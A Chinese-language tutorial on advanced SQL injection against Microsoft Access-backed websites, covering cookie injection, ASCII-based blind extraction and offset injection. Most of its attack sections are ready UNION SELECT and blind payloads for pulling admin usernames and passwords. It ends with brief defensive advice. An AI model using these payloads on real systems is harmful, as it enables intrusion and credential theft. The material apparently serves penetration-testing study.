Access的注入进阶技巧
字数 1000 2025-08-18 11:39:26

Access数据库注入进阶技巧详解

一、Access数据库注入概述

Access数据库注入是Web安全测试中常见的技术,主要针对使用Microsoft Access作为后台数据库的网站系统。本文将详细讲解三种高级注入技术:Cookie注入、逐字查询法和偏移注入。

二、Cookie注入技术

1. 原理

Cookie注入是通过修改HTTP请求中的Cookie参数来实现SQL注入,适用于应用程序将Cookie值直接拼接到SQL查询中的情况。

2. 实施步骤

第一步:准备工作

  • 使用火狐浏览器安装HackerBar插件
  • 勾选Cookies选项
  • 将目标参数(如ID=54)放入插件文本框

第二步:确定字段长度

ID=54+order+by+13  // 正常返回
ID=54+order+by+14  // 报错

通过二分法确定字段数为13

第三步:查找回显位

ID=54+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin

观察页面返回,确定哪些数字位置有回显(通常为8和2)

第四步:获取敏感数据

ID=54+union+select+1,password,3,4,5,6,7,username,9,10,11,12,13+from+admin

将目标字段(如password, username)放在已知的回显位上

三、逐字查询法(盲注技术)

1. 适用场景

当页面没有明显回显但会根据SQL语句真假返回不同结果时使用

2. 实施步骤

第一步:确认表存在

and exists (select * from admin)  // 返回正常则表存在

第二步:确认列存在

and exists (select admin from admin)  // 确认admin列存在
and exists (select password from admin)  // 确认password列存在

第三步:确定字段长度

and (select top 1 len(password) from admin)=16  // 测试password长度
and (select top 1 len(admin) from admin)=5  // 测试admin长度

第四步:逐字符获取数据

使用ASCII码逐字符猜测:

-- 测试password第1个字符
and (select top 1 asc(mid(password,1,1)) from admin)>=100  // 返回正确
and (select top 1 asc(mid(password,1,1)) from admin)>=101  // 返回错误
--> 第一位ASCII码为100('d')

-- 测试password第2个字符
and (select top 1 asc(mid(password,2,1)) from admin)>=98  // 返回正确
and (select top 1 asc(mid(password,2,1)) from admin)>=99  // 返回错误
--> 第二位ASCII码为98('b')

-- 测试admin第1个字符
and (select top 1 asc(mid(admin,1,1)) from admin)>=97  // 返回正确
and (select top 1 asc(mid(admin,1,1)) from admin)>=98  // 返回错误
--> 第一位ASCII码为97('a')

第五步:ASCII码转换

将获取的ASCII码对照ASCII表转换为实际字符

四、偏移注入技术

1. 适用场景

知道表名但不知道列名时的注入技术

2. 实施步骤

第一步:确定字段总数

order by 11  // 正常
order by 12  // 报错
--> 字段总数为11

第二步:联合查询测试

union select 1,2,3,4,5,6,7,8,9,10,11 from adminuser

第三步:确定表内字段数

使用星号(*)逐步替换已知字段数:

union select 1,2,3,4,5,6,7,8,9,10,* from adminuser  // 错误
union select 1,2,3,4,5,6,7,8,9,* from adminuser  // 错误
union select 1,2,3,4,5,6,7,8,* from adminuser  // 错误
union select 1,2,3,4,5,6,7,* from adminuser  // 错误
union select 1,2,3,4,5,6,* from adminuser  // 错误
union select 1,2,3,4,5,* from adminuser  // 正常
--> 表内字段数为6

第四步:偏移注入获取数据

逐步左移adminuser.*位置:

union select 1,2,3,4,5,adminuser.* from adminuser  // 无敏感数据
union select 1,2,3,4,adminuser.*,11 from adminuser  // 无敏感数据
union select 1,2,3,adminuser.*,10,11 from adminuser  // 无敏感数据
union select 1,2,adminuser.*,9,10,11 from adminuser  // 无敏感数据
union select 1,adminuser.*,8,9,10,11 from adminuser  // 爆出admin字段
union select adminuser.*,7,8,9,10,11 from adminuser  // 爆出密码哈希值

五、技术要点总结

  1. Cookie注入关键点:

    • 需要修改Cookie参数而非URL参数
    • 必须准确确定字段数和回显位
  2. 逐字查询法关键点:

    • 适用于盲注场景
    • 需要耐心逐字符测试
    • 使用ASCII码比较技术
  3. 偏移注入关键点:

    • 必须知道准确的表名
    • 需要先确定总字段数和表内字段数
    • 通过星号(*)和数字的排列组合实现数据泄露
  4. 通用注意事项

    • 所有注入技术都依赖于应用程序未对输入进行充分过滤
    • 测试时应使用合法授权范围内的系统
    • 实际应用中可能需要结合多种技术

六、防御建议

  1. 使用参数化查询(预编译语句)
  2. 对用户输入进行严格过滤和转义
  3. 最小权限原则,数据库用户只赋予必要权限
  4. 错误信息处理,避免泄露数据库结构信息
  5. 定期进行安全审计和渗透测试
Access数据库注入进阶技巧详解 一、Access数据库注入概述 Access数据库注入是Web安全测试中常见的技术,主要针对使用Microsoft Access作为后台数据库的网站系统。本文将详细讲解三种高级注入技术:Cookie注入、逐字查询法和偏移注入。 二、Cookie注入技术 1. 原理 Cookie注入是通过修改HTTP请求中的Cookie参数来实现SQL注入,适用于应用程序将Cookie值直接拼接到SQL查询中的情况。 2. 实施步骤 第一步:准备工作 使用火狐浏览器安装HackerBar插件 勾选Cookies选项 将目标参数(如ID=54)放入插件文本框 第二步:确定字段长度 通过二分法确定字段数为13 第三步:查找回显位 观察页面返回,确定哪些数字位置有回显(通常为8和2) 第四步:获取敏感数据 将目标字段(如password, username)放在已知的回显位上 三、逐字查询法(盲注技术) 1. 适用场景 当页面没有明显回显但会根据SQL语句真假返回不同结果时使用 2. 实施步骤 第一步:确认表存在 第二步:确认列存在 第三步:确定字段长度 第四步:逐字符获取数据 使用ASCII码逐字符猜测: 第五步:ASCII码转换 将获取的ASCII码对照ASCII表转换为实际字符 四、偏移注入技术 1. 适用场景 知道表名但不知道列名时的注入技术 2. 实施步骤 第一步:确定字段总数 第二步:联合查询测试 第三步:确定表内字段数 使用星号(* )逐步替换已知字段数: 第四步:偏移注入获取数据 逐步左移adminuser.* 位置: 五、技术要点总结 Cookie注入 关键点: 需要修改Cookie参数而非URL参数 必须准确确定字段数和回显位 逐字查询法 关键点: 适用于盲注场景 需要耐心逐字符测试 使用ASCII码比较技术 偏移注入 关键点: 必须知道准确的表名 需要先确定总字段数和表内字段数 通过星号(* )和数字的排列组合实现数据泄露 通用注意事项 : 所有注入技术都依赖于应用程序未对输入进行充分过滤 测试时应使用合法授权范围内的系统 实际应用中可能需要结合多种技术 六、防御建议 使用参数化查询(预编译语句) 对用户输入进行严格过滤和转义 最小权限原则,数据库用户只赋予必要权限 错误信息处理,避免泄露数据库结构信息 定期进行安全审计和渗透测试